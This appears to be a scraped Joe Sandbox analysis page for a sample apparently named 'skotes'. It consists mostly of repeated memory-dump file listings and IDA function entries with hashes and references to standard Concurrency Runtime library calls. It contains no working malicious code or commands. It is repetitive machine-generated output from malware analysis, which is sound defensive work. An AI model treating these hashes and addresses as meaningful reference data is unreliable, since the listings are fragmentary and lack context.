Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: ed54e882e836ee6709fb65a3413ea403b8aef6e99dbc366896f9d94a56a4fbc0
Instruction ID: f0cdafb362af2fc5352f7b92fc5d61055099dbcfd4df4377f73a7acbe72b6e8d
Opcode Fuzzy Hash: ed54e882e836ee6709fb65a3413ea403b8aef6e99dbc366896f9d94a56a4fbc0
Instruction Fuzzy Hash: 0B219831501B159FCB64EFA5D8908EBB3F6AF483107084A5EE842A7651CB70A981CBA6

Function 00614885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00614893
ListArray.LIBCONCRT ref: 006148A5

Part of subcall function 00615555: _InternalDeleteHelper.LIBCONCRT ref: 00615564

ListArray.LIBCONCRT ref: 006148AF
_InternalDeleteHelper.LIBCONCRT ref: 006148C8

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 4825e2ad024121c95fe5d093e21a95eb38751ba2686cc8aa7e48f4a776eb772c
Instruction ID: 709285d8a766a763596962e99490114d75e1467fb91409f60ceae25bdfe4f94d
Opcode Fuzzy Hash: 4825e2ad024121c95fe5d093e21a95eb38751ba2686cc8aa7e48f4a776eb772c
Instruction Fuzzy Hash: 0101D671600921BFCA997BA4C986DEEBB6BBF84710308022DF40597652CF20ECA187A4

Function 0061EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0061EE6A
ListArray.LIBCONCRT ref: 0061EE7C

Part of subcall function 0061EF29: _InternalDeleteHelper.LIBCONCRT ref: 0061EF3B

ListArray.LIBCONCRT ref: 0061EE86
_InternalDeleteHelper.LIBCONCRT ref: 0061EE9F

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: fabe4e6c696e001d08e1dc5538082464800f59da72f0ab95058a3ba94566fb54
Instruction ID: d8f99b6c78d6aea66a53769345aa6cde646a62dbf28b6ff58fcefe553ad1e9cf
Opcode Fuzzy Hash: fabe4e6c696e001d08e1dc5538082464800f59da72f0ab95058a3ba94566fb54
Instruction Fuzzy Hash: 5A01D671340621BFCB697B60C9C2DEEBB6BBF84750308112DFC0557652CB22FC929694

Function 0061D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0061D0C5
ListArray.LIBCONCRT ref: 0061D0D7

Part of subcall function 0061C6B2: _InternalDeleteHelper.LIBCONCRT ref: 0061C6C4

ListArray.LIBCONCRT ref: 0061D0E1
_InternalDeleteHelper.LIBCONCRT ref: 0061D0FA

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: be73a05783f516c1e67bf1d9793ac1ea3f35ddc113f9962f8a369015fd268142
Instruction ID: 61de46e5254b9323207ffc45eb1316ddb84ec1bcfe374a6d2fb130d4a2b60152
Opcode Fuzzy Hash: be73a05783f516c1e67bf1d9793ac1ea3f35ddc113f9962f8a369015fd268142
Instruction Fuzzy Hash: B201F971340521BFCA697B60C9C6EEEBB6BBF44720718512DF40097752CF21ECA196D4

Function 006233C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006233DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 006233EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00623407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0062341F

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: b56dc0a763a4f1247e7cab8ca69f151404f3be44ba6ed56c603c34327222ec75
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 5001A732600934A7CB56FA549841AEFB79B9F94350F100059FC229B381DB75EF119AA0

Function 00619510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00619519

Part of subcall function 0060F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00615486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0061953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00619550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00619559

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
